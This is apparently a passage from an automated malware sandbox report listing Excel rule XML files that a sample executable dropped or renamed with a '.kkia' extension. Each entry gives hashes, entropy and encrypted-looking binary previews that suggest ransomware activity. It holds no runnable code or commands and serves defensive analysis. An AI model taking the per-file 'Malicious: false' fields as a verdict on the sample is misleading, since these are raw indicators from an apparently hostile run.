Preview:	<?xml.F...&.Z..&'.(`.A%.#Z}V&.0..[+x.'7..Y.._".C...)%8.~.+$l..%..fK...8..E.W...+.+a........<..a#.g.E.g?.....k.. ..S_().8c@j$.KK..M..A$.i..E.5.....c....8.@..-2.(..7....m....I7....`(,...j0..#..Kx..".@..GsOU..S7.}..e........A..I.2...Q..k5......C..H..j............=MjK<]...+....-...{..l$../.....0...:.....S..x.\|F.s.%Y..H..nI.=p...j.7......=<.?B'....$.........3.h....;..C._i..TM...E..--..9,.p...........S... D9.S..Ok.yq!.yzr.k....../S.X.....X8...P...9.t......b....2Z..k..y>..c.'..FN.Z.0.i....Us...c(.(...#?... ....^.O........hb.F./..7.Y.X.T..?.t..^..j....2...0.j.U...\|....B....=sx....h.iyD...+....kT.C....RD0..m.\|.....(.{....P>.e. F.P."WF.....&..b.m....^`m.I.gq....p....8...Jo...!.....j.....K......B...L..k.D....t.K...(.."..].E.@Be.......I.+F..H.......xN%.......o.p.....3'r.$...[.........t0......1.c.[..~T...z.D..p.5d.zI.G\|..p..v.fy..;Q./.-=./E..dI...G..\+.eq.>.3.1...K.]N_@:jw...~.7fQ..V..Q>W.......s...[X..O..^..[.~i..;+..F1n..W.....j.............

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.895326861304897
Encrypted:	false
SSDEEP:	48:avRf7oNHefYgMrvFsecKauNmETfAqfaX78vXECc5nf/QrGZD:avRMReQgS9seZa03VvVcxfOS
MD5:	02779528A71D36A64C59B43C83B16281
SHA1:	5109635E4E26BCD82DFB13238745DBB7BFE48969
SHA-256:	8965B8AF0426453D03A376C62CB47C26734EAEE2136323573F539D239766B480
SHA-512:	00287D0B001E6009F36E36906843715803913CB444565373D8C1865FF18B18ECFD4DBAE0FF6F797CC895883C0430E61FC575D0ED2CB27AAED8896329BB10E720
Malicious:	false
Preview:	<?xml+.C..k.../...Q^L.X.H+.C.u....0.0...9!(...e.hvP7..\....+.KGi.,=&...d.c....y4.R...-z..yf....m......B!.G.....c....xK.P9.......o~.._ .......'<.....;..\..o.tN..Y.H.Xq&...q_.hwz..VDf..t.?..H.<qD...>........P~0..@.ror...=:.J....."....m#.....9.Y...6..0.,Y......U.Ln.W1.)&{..Tk..<..{'...m.......Q.c.7.....Z...n7....l&...>.E...'d........./.d....P..O........Rd..T..os..38..".y....NQk.!Z...8..n~..3.<..m..<...g..HK%a{3O.....$.V....]....U...#[.T\|Z..Z..o...$..$.....8X....B.zU..S<.%...L....V.\|.._Z.t..V.m.yi -.R..^dH.C.Y..#...y$..A....P...L.A.&t.'1z..N...G.o.....u..U;e.U.S.Z..>.Y.x....c...v. .._.." .~.P..$d&..=.t...D*i'yL..;..&).j}......O.q.....\|....I.r(E...y....L...9f...=..`E.....g.R.k.W....K........Q......b.....==.....;.+.4.r...F.Ho.K...jb6...J.C!.i....U..\|..'...#w...y.@F@.Z'..}..u..Ry........>....e...'..D.'tP.......Q... .....;....!.+....z.?^./%kd$.j..4./..c.........~....}...l.O.$35...==Z.j...#.....G..l...T.N~........9+H.\....gQ<./.9.z...^.,xb

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.792777763956109
Encrypted:	false
SSDEEP:	24:ao8AqfDf5z4ls/52HZcFiZWcJZahwdmzm1mq9byILkbD:rRGz5clsh2UKjDawd2mQq9byIaD
MD5:	216E832DD3F7A556FA084FA21EE0132F
SHA1:	9708FD7E78AF7E677D6709B5657F0BBBD341E631
SHA-256:	5D5D34A1360D9C8BBD6BCD16014CCE859B519819A5D43CEC2565D9B9E71378E7
SHA-512:	E7B09EBE2CE9710207954CE3F981F51AC1E6E8A86CDFBAE8A4ED1F02E056835A62EAA646652BAFD76066FACDE2952FC8D980579B2B7B1BA30A56C95FF768E8FC
Malicious:	false
Preview:	<?xml..........};...E....;..Hz..1.e...Q....6p.a.B..._.^...B2..<.\|....hJ.s%s.....F[..Vog6Y.z.2....z.c.4A.%aqBuG...:..\|%...'W.U.N.r....a.\|}F..7.v..nf...; ...=)F...EP.r...tJC.....(.qJ.F.I.x.>2......0z..W....G.c..L..o...._{*}c.....o.j.../M.'..c.2.....:.;/''.V...7......m...(FO..p.{W.7.......H.%m.;.. .Ec...._W.1.....78`).ca....A...X7..SN.p..y.iX...L.Cw.....&..........Z....y.3.E ..R...iWWe...I.I...p#.V..{...0{p...$....^Q.....)Z.C@.&..s.g.yUn...Y.u../....x..Q..^.>9....Cya.2p.l..M.....#.......a...,.w..at..<....z.%...O..6k./I..o..~U#...i2..`A......u>g..zb'.W...%.e.C3...&zS...."...q!..Z.W............Z.C.D......)+Sm..'<...[.X...8.~q. ....Q$.J...\|l%....u..o....K.....{RAe....J.../...B..a....[...1...sK.8.H..W..........."b.-.. .c..gMA].rb.4V..^....>...,.vb5...,[..tr......6].nLzk..-0..Y.{..A.W"....oPY..I;..\|.X!..:.J.u.7.L.9U%....&...1....\|5.w.,..}..E.....6.....+I,7}^C^U.v...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.933929257473171
Encrypted:	false
SSDEEP:	48:4LI8mPkpdEJoS7H6XevudRxMbLF4Nrz6CpIiIlZD3w4PdNidNOxyy7ghWoyQD:4887bEqS7H682xMHopIiED3wIdNidE4N
MD5:	08558688A54ACF0C69318758F8B27EF8
SHA1:	437BF6EC674CA80FAFAC2C32E84701921094C1DE
SHA-256:	33D37107EB6FE4B492C3237AFC146DB30D8D216D88E305E91677AB66084453CF
SHA-512:	1BA419E7318E39FFA4EA8B4D694A3B82A995439116DF1359A976C36078D3EF3BD077402D5FADDB71AE2447AAD8036947744F926C2B6B7C514C11D83CA0966408
Malicious:	false
Preview:	<?xml.Uk...b..GD2..R.?.8C.'...2J.=...#.Y.R{y..RZ...}[)'.5l..^l.tc...J%..c.....?U/..A=j..'R4H...../....y6Z.s..r...=.."\|....@.t...r....C..H&&/...E.=sU....j.].e...?.....(..i...F^UmSc.....%..BG#..q.\|.h.....;....G..5`..&...(.oL...=..gh_g.....v..[.....b.pB.V.U+...t{... 9.p&....o:B..o.+Z1@=....f...9.Rp....S.6....{...+...._.\..H.Y.....B..../B[A..7\|F.1...C.kX.x...Be.+..k.<C..cEh......f.:....f..1H.}j1..U....8.........Et+...sq......~.p.h.Y!t.....e r...\|.;.6S.H.....-....H..7......T$....U+.b.R~...a....x...#.:..".B....(H.g...%.N..:...?..~.d.U......G....D.h.p...sI.#......B.<UA.0c6.Go.7.Khm.tSR..^-.#.s.h....Q.&%.:.b_.....[..4V...cRa...Z.Ul..jO/<U.+'^i!;uo...gS/..=G..j+."b...ya.......k..[...88..z89.^}.C9B..4.1f.P...J.<u.}C.:.....Wd.e!.....H.Y..F...Z..!..{.h.o.g.i..=.*I?..t.7..f.e....HJ..........~.267..q.\VJ.;.1.Fd.j./...B.4..'..../..... A..vf.n~.).l.y#.RG..._@................#....X4@o+L.HnO..E\|.....p..-{.8.:.P...t..8....d...7.........n,dq.J....}./.<..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.9812974430490735
Encrypted:	false
SSDEEP:	192:mtWfsziXGJR05i7Di7Np2CD3HCxhm17QTh456Nf7PVOlSn5gI1EInlI3Abt3:mYfkiEYNNp2a3ixh6U4507VOY1EInlE6
MD5:	3C977F976139ACC72BC2D7449F882A8C
SHA1:	BB33960CBB0EB24E8AD29CCF9FEF352AD74C93E2
SHA-256:	AE7A0B7FBC01B4F9C30E66754131193C136E6A787B68C5691C83C9F384616103
SHA-512:	F8BDE9E4F993E4A4E60A22734F2EAC0E096C2DCE0351586CED599FB2FA2F6CAD1F48FAE6497C5279398399788D2F3AD7C833900CCDFE279888B629CAC6519A22
Malicious:	false
Preview:	<?xml..F..'.n..K{..P.0..IMB8G..n4.54.#..~.Hz....x....M.}+D1?8l.9..=....1...r...q..d.#k}V.7.d.@.5...g......I#&.....:1x^ -....R.g.s+.t......4..%.W..z..mT... .^.VB...G.......1.W.MU-.%MF...R1..V..X....4w.K..:.....[~.g..X4..=C.....O..B.#..6D.....V.."1G>.O@.."^p.>q..l[.K..}..V._..-...De...<....U..,.y[..@.F..4.........^2G./o..c5.T.<....N..0d.X)....d1W..wL..........zR..L3...o.......m....6..6..!.(.l_...Y....Y:......@.....`.l...K R.B....})J..I.>.M.Vw+.Oa.m4.y\|h+Q..$..3..C....`.c.4fv.x.I-..%....LR..R.A....].. ..$._2../...,n......$.......C..u..{X\|...WoQ.....w...p..$..K.....g..sL...<.\|.]...;u.K....Mn...{..T?.m.4...._h5....t}m:]...%5..DC.....Y.hq...i.A\|.....p.......y.a-f....)a..13..X........V.:!..9Z.T.#/B,...!.?..5.WRnU..a.h.zp.b}A.2.....-.t....:..9..SiO.eX.5.m...T.t.h...3nO....5T...G.7..e....`..W.....C.Y......C!.q..U.........g\|.."?.1.....%..1$..B.3.J.'>iDFs.^...K-..n./.nTZ.~...w..y4.8}z...MI(.C..9..leZ.$Gl..RFk.v..'0%....V.O...`.h%...R9..o.C..3z.....E.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.701698651816387
Encrypted:	false
SSDEEP:	12:tNplL7C1lHs1ELvyKm7dslOO0FhCdNCmBuF+dakAhCADxu+Prgcii9a:tNplSDHdLvylsl50bCdJYkAhpDxkbD
MD5:	15126E69D1515C69F453BAD0516FA0FC
SHA1:	2891B034B99AE5803ED06C6B942BD5A122E9FC56
SHA-256:	3F3EEFFE6768C2C75140B1FBFAF74B867E2A06CCB600CB86C4E4EB45F4576C3A
SHA-512:	1C1A46A3F71CAA564B4BBEB190E51248E05D5823C4A25114A6E3CC21DD51AC896635595B11DB46921AA2EE4416B9DC78AF9FB57AAC8766B925391F07EBECB058
Malicious:	false
Preview:	<?xml,9].h.<...y8.....?...1.#.X...mx.8..,.....@...~....5..7]It...p......9......^V..#O..g....08.f.5.\|i^.....s..B..m=...@7=...!Q...n\|.G..B.eW.....t....e..'..&.`..R............wB0..v.3....&.......P7J.Gn{<x..o.......6.....I..u.(.3+S.7..Qp..8-9....N...Cn:..N].<....k...^.%...$.{(...K"jZ....0..c. @.b..^Z-.%...0....3Y0A..........K.c........tZ.Y.}4.."%.....v.<.+....7;....Z4}....}.$...m.4..?..._.m\|%>-0L.....V.r......+.../.~.....;...T......S.PX.ieF......!.D(..U.7..4.n........lr.9../..Tc..79.I..f.0......3c......t(..^N...0G......#...K#. O.j../..4......8n...p...PT,zR.,.;w..8`C.....,9.0.;..3S.(g..e.h.U.\|.....JO......;..R.....E.......K..S.........U.x.....}....b.M.w...T.t.....{.N~P.L/.qA..."`LzF.....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.659967949970589
Encrypted:	false
SSDEEP:	12:Gh4+s7NBAzPePH5DdRebKHHS46qge1QsuIv/F74lLnmfPrgcii9a:G3s78ePZDOoJQsuIvhELmHkbD
MD5:	429350D33A99AC4A6D178E1F399248DD
SHA1:	C4A61ED872EC67D95A8B160878D2E13A8FF44FAB
SHA-256:	D10C60710390DF3D2E4642A88F521DA74C139E593DE22167EAE302A9824C0919
SHA-512:	39F15698D50FC0A29D07E2385938613CD851B77840BFE59DDE7822377A221BAF35EBF6AC5C43EA8724A006603B6CFDAF78A3D7CB1AF6ECA798D3D9E089F7D382
Malicious:	false
Preview:	<?xml..e%j.GTA.1:...M.rX...Y..[Bi..../.1.".-M.f.#...(.+. .........:6.+j.2..o..%FN.4\|(...ty.t.V...m......!,;^.\|.&.(.f3;...O_M./.(^*I.B....7...W..(..ys&{.D..a...._.....R.Ey\f...f6..Uf.u..S...."u.$}..!/M..Y.uPn....Dy'.7..Eql..k../..'. .C..^3.{.L.Q....%....o.s..v.......!!A....<.........2p^.....t.$.....y.c/..@....84.;{(1i..0\|..\..0......~...E..).!'0.}......-/.=..7..)."./..W...#w....rr`.I\|.....0W../..Y....1.:."..A]....\|..h..G....n.="..U....X......FT....`..[...4..'..[.;O......B.. Hl!?a..2M..]..B..p'tR.....C.W..<.J...`iV..........`....I.3._).V.l.c.d.8.B5J%Ra"W.......xI...S7.1....nu......s\|F....g.w.W.".... '@.c.g...lA.A))....q..-...MmdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.879548166813315
Encrypted:	false
SSDEEP:	48:QB6rvjV8duUGdHGr22ggzb0vuDOWBmkJ+6KXav7sHaD:fredu5o2l4wLWY16z7sHy
MD5:	65DB90428AA696BAC63743DDF1A5FBE2
SHA1:	7360759B577871C1877739C1AD439FB179F1BAE7
SHA-256:	9FD3D63D4CCE9A8A2980AB668908DC3F75BF75CC3F5C803BDA1BB5B11BA296EC
SHA-512:	DF273BCEB88268FF85391DA15332EDBBD05BA50F5AA07609A41CEFB90E17488F2E0028AB6A47584B694DBEF2370B11628A7D5945898B7F3C42C6BE5076EF5380
Malicious:	false
Preview:	<?xmlP...R..-<..d.t....z..,+i.e.u..CS.S.,..{.v...;.k..X..x.SK.n(...m....o.....g..).....Z.4..@.....:.2....<.\N.5...!/.3...9W.@...+..S.... ....=..B).5...p...fO..P.N.....6AX ^.l...v//.X...E9.H.[fn.td..B(.k....\|....I'.!z...!.5..t....ON....7..U.c.f..g.(y..o....D.P%..].....\..:.G.=X0.....l........T..i?........[.t1...D<..-C~.5..Ni.E.s..C,3.G........gM?.k.l_.}{N.E......H.mj..../...b:.... ...o'..-.d.g....F....9xz...x..&...V,....-.w.......u.....IXU.;......B.b~..q.h....A.........@o.....+.c..\........M.R....Ps.z.8....~m............9.E..s.q.......H...N.%[.a.?.H..-.+%bY..8..&.v...NS.jB....+.E.I.]KQU.D.......!..X.ZZ...K...1P........a;........c~...W.s...$.7;..\|.'..)x.......2..xn+B.(..3.l${#.>..r..#.....V..R..Q!.......0cps.5...dH..lq.j...4.y.".../..._.....@....F.q.x.E....\..V..\......q;.....!.C+...$gg..].+....N.g....%...#.V..(.O'.f<]........(Gk.o&..t...4..&.-9A.P;K..<...I.q6............O.TG\. ..4....@q.9.+....1.p5.Z...J".[....E.ti.n9....L..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.736918902833801
Encrypted:	false
SSDEEP:	24:asfIvbgHvarXD8g0qq4w0KcDWJ///+tFgx+NkbD:fsCuT8g90//OFfcD
MD5:	0B0B55668776E8BCF889AC63ABAE2663
SHA1:	9E90CD2A9E7192B8D757271A0B36723D63D80EEB
SHA-256:	7D11E443447D5D4605396C2958A6AC74593AEF53BD269CCC7B26474235BC02CF
SHA-512:	8DBC05FFBC2AC928CAE73B596F5039012A8F24529C838D61184CE04CBA1F18CB328FFD47EB86089648E3A1D771AB5B02B4D15206E33D5FC8DCAE139C6128337C
Malicious:	false
Preview:	<?xml.]z..af.@.....a8...f>};.K..U...:5.~..V...9........i.lj.j..w.Y....'.$T....)..e4.d.........T.....%.Sp.sN5f.."..b.F..(.?.x...9g.u0.-..V.n.....gpy.x.SiSzn..>;...}....gn..P.>...\+.9.%.4...D^...L..".\|t..~....Sz}....Z#.Zq0."_........?...@G.c?..%q...k../...y.z=.gE..Z..C}$4...;..6.j.u..^'Q.[I.s....v...W9.I..I..j..5..O...W.....,..=..rb=.zf$....Nh..)LC?..U.SY........y<..f.EZ.O..U4...+.P@...O7....\.].~.iO...l5...@...].....r...y..Z.W......=t7.b.:n.l!..3.:..$........6....\|y..NkXi....o6Jeu.i.z.4f.....L...7C...".o..eM.p.l\|.m..6...Se..u.G....x\|.<N..>\|....#3.e..57.u..'..A,..uLz.HV..+.....#.FwwN..A.......&.b.V...T~..:;..X..Q..;........;W\j.A.b......&.v..\|.uUO. RsY..of..g.)..y.?..Ia.).<.. ...C.z..i....'...E.3..lX....O...ek..&....Tw.L...8...x.20......{.^..F.R....CJodYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.8395061091633576
Encrypted:	false
SSDEEP:	24:0Td7Y9sMU52HL2R0s4XRxuYQve/Z0heRyEKgx+bL8BFIjHUEyRpIkbD:l9Jw2aX4BXVZ0hDEKgob4BFIgdTD
MD5:	D454F4E5AC6586B0AE83E629A31B71D2
SHA1:	4F3B362CCF9708A263C0E5C5178E9F42F8FA301E
SHA-256:	8B3F374E636115833757C79AEE7E7E5B9F0327354A8112E2CD81BE2A53F1FED0
SHA-512:	4FAB891F439917617FFF7BB56DFCB425E96CB61118989E2D02197EC0F0BDFA9347EB0A05D2E3090AA8761127976E77B0AC547C96E43F6F61A9376EC0C2C094F7
Malicious:	false
Preview:	<?xmlk..>R.;.4.uQ.....O ..]8..........S.{`{.W+k.c..X3.z9..+.I.e..x..Ixd.QB....W.q.:..o.....H..."Y.........W.s.W..L.1o\.[..e.ohV.>.6....9V......kU...y.oG.dl.6a=.......~....ja.J.....$.W...M.2..L ........7T.f..F.dc%T...B..\..@.l...[=.......;...vo..<..O......#..B.-G.8..`..M.x2.s.?);G..P.pDF.vLX.s.K....?.C,~.]".M.XPS..kj......oo...%[.v..x..Ry........L..]...?Y.Ge..m.<4.".d...y..M7. r{.}>...r...(..q.Z0.....n...J....m ....Y....b...n...F..[U...\.....:vV..C......s.4j.RP\.(8.....\cd~....1....)..1S.b.....Z..@........V.xGX....G..q.....@}.......x..g.&.S-M.;..`Z_.B2./.8....@...K.6P5...~V.S...G.......>R?....E..6............*......)..f!:O..p..0.<..2v..H.R.z..<..5\..`(.....2+.N..Qw,.c>..(.RUx=6...`......V.)......J....5H..k..n.j.M!5..CV.......1D..-F]...H?...9.r.i1.E.ZVs.!5..f.A@.s!-nI....,I.S./6M..N<....Y.4::.!.J.p...^J.....]\.....SU.....5y_M;..P.8<Sc...(...H..=..`...Fl...]...v..$.Z.U.F..o..6...X...I.......hn]...l.j..O.H....\=....U.\.."...R.i....p.N.(b

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8572866949712585
Encrypted:	false
SSDEEP:	24:NElpwP/vM0Tb10CAi0jY6XDKwLGuN5l85NyG4AMxIW+LvebwhVEI3jkbD:ea/00l0HZzKaN5lglikLWsX1iD
MD5:	D6495B3A5AF6BB4D8DF26B0D0DB285F3
SHA1:	85CA260D6160CE4F881E83FF9D07F6001756E616
SHA-256:	A97778F55959188A0F41EC179B1A3E330B8BB7E0B482FD91DF29CA8DE882136B
SHA-512:	7248BFF85CF3BD78C323B95EF8AEB375AACDCD66BEBB89ACC61EDE8887F6F009C5A1E6DC84840469205104F1E5C9E12AFA3D52958C8A358184FE27D5D782C8B2
Malicious:	false
Preview:	<?xml.X..!.F.dN...d..>.g.. ...4VZJyj-,....J...x>5....~\............;i.[..N..L.>\Gu .d)5.~X..]x....h......).g.M:B...w.C[...c?K/.j.h...c.'.+..."k.....S. Yc.d.tc..Hd...T.=}..`.....v." @."...=...x.....C...a^Vo.-.U....?.;Fk.z7j...(n.3....?n.......8.H../......?..\....1&....u....l3..Y..O...cv.v,%.G.,.@..'.4.$~..F3ED#.....5...T-.Y...'....}.d.....p.N....b.....u..m.f...8H..\|..?..W..........6...8..?..-.....P.#.O.3....H..> ....+.EoX.Ml.V.....]H.f1=.k.1L.e:D..\|.....>%...r.....\|zk.^c.}....gy.../......,`...Y..Y19}<..p.......C.c.<2..J..X.8.#..........~..Z.E.E.GC..b......x.:.H.]O~?37x~..T.H.H.".ly...ZG..4......\.Oks..K,_...[FsR......a.z...x.[..7...lx]..x[BB......v.p.5b..Z...2..C/.n..V.A/..5....6G.3.."..b....o.`.*..Or.E`.r...R.cl.>6..f.....F..9)g.!......S..{;.L...S..(.43........".n.`7D....e,8.X..Uc.k.......;.B..B}.l.....~.........8j..w....j.....P.>.W.L>...r.b.....;..3..+x...^....N.[..\|..3...j..L.tE.{..........;......O.o.W....L.P....).$.....\>..;..b....d._...N.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.9750971452292765
Encrypted:	false
SSDEEP:	192:6OOlmtXw9iV4MvCz8Qu83v+vFWUqBoeLC6:6ktA9iSMiB7v+dkBC6
MD5:	D8A94E0C6E9FBE081B3982B423B926A0
SHA1:	D2C7688E89E43BF167941E9C47715F66D61DF28C
SHA-256:	71DB5C7FB6887D00A30FBF4C3A6DBEAAB8BC8DFEBDE8053C8188F7F82B44E5BC
SHA-512:	7F2BD388D47419A5F6BD8C0E17FC2330508905AF7B85C3A1657ED443B62A50A8F9EEF88AA982B19A5B7AAF9D0DBE453222F3DCCD9985E391864068D703DFECA3
Malicious:	false
Preview:	<?xml&'.[=q...>gU{....2...+kI%...W...C6 @..O.,..-.ak..h....K....BI.(....<W.Iy.W-. .r%.3cw.....F.y1&+.....<....f.l...%....)uRsk......>......IB.......%=1....G.5@.....p,..3M`.QO.....N./.......e............r,^J..g/...S....x@.}{.[...(..e.......'.y.........,hK../..PX..vW!..../W..5U.."...5].d.....jxd.L.P......'.8..A..F...`Ae.EL.R..c{......FS.p\]P5.. k.c.N...."V...4...4.;'..K{..e.V....}g..+.y......+&..T...)&y...I....._...c.5.-..".9.##.Ie..%.....".....l;........[i...2.F.m.L......./.e..............1-^.X....rZ.\|.F......a..!...).q....z....e...+.O.........u..IG.V=[]..5D..Z_..Y>J~..7yK99.U...H....^6..tE!]z..w.>!....&J..<W3...'.9p..x.......c.A......oI@...S....,Q...y9B.s....g.71....{...l.!S....z(.5..H.....3...o.W.Xt_.....{...m.;n...+N.T...+.+Z.f.8j......tg.....&.i!.jg..D........N.iP.%...[.3(.BXT...].I."T..V..?i_+=.c.kF..c..i.,)...(..e..\|H.'.{.z.6.s......x.%OdA>.T.;.~...<.3F#.jXf_.Y..'L......K\|.u...t......E3....y.>5.,..3 `.W.....".T\d.s..3..t.[.km...[.../.h

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.674568237323427
Encrypted:	false
SSDEEP:	12:NqvLO7PjG8RYS2i0/f8E5h9sY2CDnK+l7pAeMSvoFyiyP6d4cGYbYlRDu+nreGjw:NqzKrP0/f1gZCjZp1jv0gP6qcgbDnnK7
MD5:	41EC9AAA4A3DB70310F9F68EB790223C
SHA1:	0B7765788010749A0180A9AF56500581C31911D4
SHA-256:	56FE3E4887286CF9A079340CDF5E236AD4FC3431B3AA2063A9B251ECF0340FA7
SHA-512:	88822555E06BE7EDFF4FFE8DF1689B4E7B9F1C4F2018482AF4F1F79E7B77CC681EC13877BAE42C8CA440F1B93FF2A10956E33A3F20A801B96164EF0DE917F173
Malicious:	false
Preview:	<?xml.....D....2.(3..........oy..2..(....'...c>.i..).F^.. ..o.S..J[.e.@.^..-..T...UR.4Jx?.X4'8.J..pJ.yos..[N.\|....7&....2* ....yUN..(.m.....#...v_..D..~"...a......T.B.....f....M.n.V....,..4....M...j.q:.c..K.] ]n'...>P.....]j$;.....(....y%.&1.}z.j...>4)..w....11e........B..X`..a.;....Y.a(6...c..ss.;.^.P..J..$..H...:.K..o.^8..r.....c.}Ky......Op...+.4.....[..g.~M......~..z]...........fj2...h.s)Y..h.w.qD.W...X....._Z......l..e..c.....7.7......M.`e&.C.w.@E....#...kC....%B....b.hdg..<..1}i....<..5.~+.\.{.L>...%.5.i.N....(...e?......%..E.W...<..x...w...#.R.'.Ch..6cwNB.......Z.....Vs$.o4...._7/W..H.?..g....Hu...Y...t.6q.D..hy..0.Y@...V...Red0..:K..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.873835541612521
Encrypted:	false
SSDEEP:	24:B0F0Q8V5VwC0rH9hF6rjpJa83D5AJSSyOQpeCD0918nKGfqrlT/kbD:GT65eC49hi53D5AQOyxFKGIl6D
MD5:	7590872937D967E26EF65BFC640B4719
SHA1:	F8C5AF1CE64A5EF4C0ECB64B472E4711A695D00A
SHA-256:	3BE5D022FDD99761A3BF10AF5142002C3144EE9898D5AFB5189DD3934D6C4E21
SHA-512:	A4684874E0BBF89CDBF905FAD780D22B91B3BDE3A6E6CFD79D9B5D25A8FEF8A368C6793AB4BD4160CE8A0C453E8DC13FA2AAD74557526BE9EA1EC2055CB7303C
Malicious:	false
Preview:	<?xml2........Z.hbJ..@.cgKgc#5.^.#.l.]Y....E.NR...zm2".i^V..#........-CEy.m....ui..;..?...[.5..2........H..O`...38.P......F...\......A......V....=/..c...h{.<..Y...\........T..O.g7.=.g.%.........I>.X.#1..Bmh[.D..=...i....\l2D......K.c.4....P....g`..M........'R..}.....i`..j....S..).."....y.../.a....9..7aU...g.3...n.KB..].(.yg;.=l..A...4.K.V.......^c....gg..(.....)...+..'....)c.U.o..O....9j\|.r>}...F.............:-....`..q....,...j.H........f\|..\9%.hq.y.3{...+...<..e(~Q.a...?.....?.)..l.-@~..u.(.$.....J[<h.#.k......oii...&.#...,.+.<..wK...U...........Q.5...EFPes...l..P.0..4.#..._O..[.Gzk...A.'$&.....g..gZ7..U..rtp...... .....hY.;Or ... ...F..i...Wot0U.?7.,.=.......P.s).z.X;.....m.9.oZ...Z1...U.>..\w...+....<.b.d...s^!.L..M.v.}.k.+......+....t.Dl.A....v....l..'NH_.......(1......[.7...$...V.Z..d.o.^...1..M..3.4..Y..&.p...).q.CiT$lAP.?.......L....."...J.g1.@.......oZ.~.Y=F...C.[...s\|. .h....~.x........z .].R.6..".....s.//P.C8.....\|

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.940103751775266
Encrypted:	false
SSDEEP:	96:CMdVWbUNhQPpCS3AKZZ1aV+mJcHHRtMbs//1/:ndQgN2PpCyZZI8mJcAonl
MD5:	2F5772BBC3C58EF6CC7ACD83CDFA0125
SHA1:	D2A28936A47992FFE86F84ED43FA7F70B94D8C29
SHA-256:	59EFFFCA7FAF6B12D5D946A8847B3717E5AF7B2C4847683552A4D79311B9E370
